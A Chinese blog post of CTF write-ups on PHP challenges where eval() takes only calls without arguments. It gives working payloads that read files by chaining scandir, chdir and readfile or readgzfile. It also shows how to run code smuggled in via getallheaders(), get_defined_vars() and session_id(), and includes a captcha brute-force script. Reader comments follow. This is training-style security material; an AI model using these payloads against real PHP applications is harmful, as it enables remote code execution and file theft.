最近在比赛中遇到了几道题目,都是比较有意思的php题目,考点都差不多,大概就是让我们用无参数的php函数去执行命令,这里分别记录一下,主要是从ByteCTF的一道题目学习到的姿势,后来在成信工的极客挑战、还有上海的比赛中也遇到了类似的题目,都一起记录一下。
ByteCTF Boringcode
这里对这道题目的前面绕过方式不再多讲,主要还是研究无参数绕过的思路,题目部分代码
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
看关键代码,主要就是分析一下正则
preg_replace 的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数,例如print_r("123");这种的,是不允许进行传入的
preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令。
首先分析一下preg_replace这个参数,非常的有意思,我们将正则表达式取出来进行分析,函数禁止了输入参数,不过我们可以通过php函数套用的方式进行绕过,例如
print_r(scandir()); #因为只允许使用纯字母函数,print_r这里也被禁止掉了,不过我们可以通过这种思路进行构造
首先绕进行的就是读取文件了,目录的话我们可以使用scandir(),执行文件的话,因为scandir()读取的目录是以数组形式出现的,我们可以使用数组指针的形式进行指向
查看一下php的数组指向函数:
尝试构造:
readfile(end(scandir("."))) #
本地测试,是可以成功读取当前目录下的最后一个文件的,下一步就是绕过”.”
后来看师傅的WP是通过chr(46)进行绕过,我这里使用的是获取数组第一位进行绕过操作
这里利用了localeconv()函数
函数返回的数组第一位正是我们需要的“.”函数,尝试构造一下
readfile(end(scandir(reset(localeconv()))));
可以成功读取当前目录下的最后一个文件,这里分享一下,其他师傅们的操作
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) #46
chr
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #46
因为flag文件在上一目录,需要我们继续去构造payload去读取上一层目录,这里使用chdir()函数,不过直接chdir返回的只是0和1结果,我们需要尝试构造一下判断语句,最后的payload:
借用了师傅们的payload
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
# 使用chdir()函数,更改目录,返回1的同时,读取目录下的文件
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
# 通过chdir修改当前目录,通过localtime()等函数构造chr(46)即“.”达到读取上层目录文件的目的
官方WP:
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
# 同样的原理,不过生成chr(46)的方式不同
2019上海市大学生网络安全大赛_decade
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "invalid";
}
}else {
echo "invalid";
}
?>
审计源码,发现与Byte的题目很相似,不同的就是正则过滤的更多了,我们就不能使用readfile等方式去读文件了,也不能用time的方式去获取“.”了,不过我们可以使用上面,官方WP中提供的payload只需稍加修改即可
首先还是fuzz一下,php中类似readfile的函数
<?php var_dump(get_defined_functions());?>
发现readgzfile这个函数,看一下函数的定义
主要是读取一个压缩文件,不过在本地测试时发现,该函数也可以实现readfile的功能去读取文件
尝试构造一下payload
原:
readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))));
将readfile修改为readgzfile,这里不再使用time()函数,使用ord()、hebrevc()等函数构造,在7.0的php环境下:
首先尝试读取当前目录下的文件,仍然是构造“.”,原来构造的paylod:
readfile(end(scandir(reset(localeconv()))));
因为题目中正则将“local”给过滤了,所以要换种方法去构造,本地尝试构造:
readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))));
但因为sqrt函数被过滤,继续构造
(ord(hebrevc(crypt(phpversion()))));
成功构造出“46”,这个payload第一次没有打通,尝试了好几次都没有成功读取,后来发现原因在于这个函数:
crypt每次加密都是随机的,所以多试几次就好了,再之后就很容易构造了,本地测试一下,读取当前目录列表
print_r(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))));
修改payload,读取文件,成功获取到flag
readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
极客大挑战——Eval evil code
访问页面
结合题目,大概就是让我们输入命令和验证码,之后进行执行,先输入一波phpinfo()试一下,验证码部分,直接python爆一下
import hashlib
for i in range(1, 10000001):
s = hashlib.md5(str(i)).hexdigest()[0:4]
#s = hashlib.sha1(str(i)).hexdigest()[:6]
if s == "30eb":
print(i)
break
没有执行,成功,不过给我们弹出了提示
总的来说还是一个无参数执行命令的题目,不过没有那么多正则过滤了,抓包测试一下
成功执行phpinfo,下一步尝试读一下目录
发现,我们不能使用常规的end()函数去读取目录的最后文件了,需要制定目录去读取,
在本地一直fuzz,后来怎么构造都要携带参数,后来就在思考是不是要换个思路去执行shell
readfile(reset(array_slice(scandir(pos(localeconv())),-2))); #fuzz出的payload,需要携带参数
这个时候想到,既然没有正则过滤,我们能用的函数就有很多了,想到原来在某次大型AWD比赛中抓到的一个流量
因为是php7的环境,通过~加密过后的代码,可以正常执行,解密一下:
主要用到了getallheaders()这个函数,我们尝试执行一下这个函数
发现该函数会获取我们传输中headers的所有信息并以数组形式输出,我们可以将恶意代码写在传输的headers头中,再使用该函数进行包含执行,这样就可以达到我们绕过检测命令执行的目的,尝试构造一下
包含一下headers数组最后的信息
eval(end(getallheaders()));
成功执行phpinfo(),直接读文件
#headers : readfile("theflag.php");
eval(end(getallheaders()));
成功获取到flag
思考
后来在看别的师傅们的文章时候,又发现了关于此点的一些拓展和延申
关于在headers里面写马的利用:
eval(array_rand(array_flip(getallheaders()))); # 不清楚参数位置
eval(pos(getallheaders())); # 构造函数在第一个
还有利用get_defined_vars函数的
官方定义:
本地测试一下
主要就是把GET POST COOKIE FILE等传输的数据给打印出来,同样可以使用数组包含的形式进行恶意代码构造
#GET传参 $a=phpinfo();
# post
eval(end(current(get_defined_vars())));
以及使用session_id()函数
这个和原来我写过的利用session写shell的很像,有兴趣的可以看看
PHPSESSID : phpinfo(); # session中写入恶意代码
eval(session_id(session_start()));
最后把各位师傅们和自己总结的一些函数总结出来
getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。
readfile() 输出一个文件
current() 返回数组中的当前单元, 默认取第一个值
pos() current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end() 将内部指针指向数组中的最后一个元素,并输出。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串
getenv() 获取一个环境变量的值(在7.1之后可以不给予参数)
参考文章:
https://xz.aliyun.com/t/6316
https://www.anquanke.com/post/id/186187
zzz says:
希望博主下次发有题的文章讲解的时候不要把正在打的比赛题发出来。。。其他都写的挺不错的
Pdsdt says:
抱歉抱歉,想着博客没人看,就直接写完就把文章给发布了,以后一定注意了
moonback says:
学习了
阿瑟东 says:
tql
tarot card readers says:
I’ve been exploring for a bit for any high quality articles or weblog posts
in this kind of space . Exploring in Yahoo I eventually stumbled upon this site.
Studying this ifo So i am satisfied to express that I have a very good uncanny feeling I found out just what I
needed. I most unquestionably will make sure to don?t fail to remember
this site and provides it a glance regularly.